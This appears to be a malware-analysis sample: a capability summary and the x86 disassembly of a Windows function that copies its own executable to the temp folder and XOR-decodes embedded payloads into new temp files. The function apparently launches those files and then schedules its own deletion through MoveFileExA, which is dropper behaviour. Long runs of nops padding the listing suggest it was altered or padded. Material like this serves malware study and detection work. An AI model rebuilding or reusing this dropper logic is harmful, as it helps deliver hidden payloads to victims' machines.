Function at 0x4010d2
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Copy file
Delete file
Encode data using xor
Get common file path
Get file size
Move file
Read file on windows
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb38
push ebx
push esi
push edi
call 0x4010d2
call [eax - 0x70]
nop
nop
nop
nop
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
lea eax, [ebp - 0x120]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
nop
nop
nop
nop
nop
push 0x4020c0
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x4011bb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea ecx, [ebp - 0x738]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea edx, [ebp - 0x738]
push eax
push edx
lea eax, [ebp - 0x634]
push 0x4020b4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
nop
nop
nop
nop
nop
lea ecx, [ebp - 0x634]
push 0
lea edx, [ebp - 0x120]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
nop
nop
nop
nop
nop
lea eax, [ebp - 0xb38]
push 0x4020c0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [ebp - 0x120]
lea edx, [ebp - 0xb38]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
nop
nop
nop
nop
nop
lea eax, [ebp - 0xb38]
lea ecx, [ebp - 0x634]
push eax
push ecx
call fcn.00401070
add esp, 8
push 0xffffffffffffffff
call fcn.004022a8
nop
nop
nop
nop
nop
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
inc esi
lea edx, [ebp - 0x224]
push esi
push edx
call edi
nop
nop
nop
nop
nop
push 0x4020a4
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
dec esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x5c
lea eax, [ebp - 0x120]
push 0
push eax
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
inc eax
lea ecx, [ebp - 0x530]
push eax
push ecx
call edi
nop
nop
nop
nop
nop
push 0
push 0
push 3
push 0
push 1
lea edx, [ebp - 0x120]
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [ebp - 0x18], ebx
nop
nop
nop
nop
nop
cmp ebx, 0xffffffff
jne 0x401243
or eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
nop
nop
nop
nop
nop
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
nop
nop
nop
nop
nop
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0xc], eax
nop
nop
nop
nop
nop
lea ecx, [ebp - 8]
push 0
push ecx
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
nop
nop
nop
nop
nop
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
nop
mov ebx, dword [ebp - 0xc]
push esi
push edi
push 0x4020a4
push ebx
call fcn.00401010
add esp, 0x10
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x4014c2
nop
nop
nop
nop
nop
mov edx, edi
push esi
sub edx, eax
add eax, esi
sub edx, esi
add eax, ebx
push edx
push 0x4020a4
push eax
call fcn.00401010
mov ebx, eax
add esp, 0x10
cmp ebx, 0xffffffff
je 0x4014c2
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
lea ecx, [eax + esi*2]
add ebx, ecx
nop
nop
nop
nop
nop
mov edx, dword [ebp - 0xc]
mov ecx, edi
sub ecx, ebx
push esi
lea eax, [ebx + edx]
push ecx
push 0x4020a4
push eax
mov dword [ebp - 0x14], eax
call fcn.00401010
add esp, 0x10
cmp eax, 0xffffffff
je 0x4014c2
nop
nop
nop
nop
nop
lea edx, [ebx + esi]
add eax, edx
mov dword [ebp - 0x10], eax
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp eax, 1
je 0x40135b
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x224]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp eax, 1
jne 0x401341
push 0
push 0
push 2
push 0
push 2
lea edx, [ebp - 0x224]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
test ecx, ecx
je 0x4013ca
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x10]
sub ecx, ebx
sub ecx, esi
nop
nop
nop
nop
nop
xor edx, edx
test ecx, ecx
jbe 0x4013a9
mov esi, dword [ebp - 0x14]
mov bl, byte [edx + esi]
xor bl, 0x19
mov byte [edx + esi], bl
inc edx
cmp edx, ecx
jb 0x401398
nop
nop
nop
nop
nop
lea edx, [ebp - 4]
push 0
push edx
push ecx
mov ecx, dword [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x224]
push 0
push eax
call fcn.00401070
add esp, 8
nop
nop
nop
nop
nop
push 0xf
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x42c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea edx, [ebp - 0x42c]
push eax
push edx
lea eax, [ebp - 0x328]
push 0x402098
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
nop
nop
nop
nop
nop
push 0
push 0
push 2
push 0
push 2
lea ecx, [ebp - 0x328]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x401483
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
sub edi, eax
lea ecx, [eax + edx]
nop
nop
nop
nop
nop
xor eax, eax
test edi, edi
jbe 0x40146d
mov dl, byte [eax + ecx]
xor dl, 0x86
mov byte [eax + ecx], dl
inc eax
cmp eax, edi
jb 0x40145f
lea eax, [ebp - 4]
push 0
push eax
push edi
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
nop
lea ecx, [ebp - 0x328]
push 0
push ecx
call fcn.00401070
add esp, 8
nop
nop
nop
nop
nop
mov edx, dword [ebp - 0xc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 4
lea eax, [ebp - 0x120]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret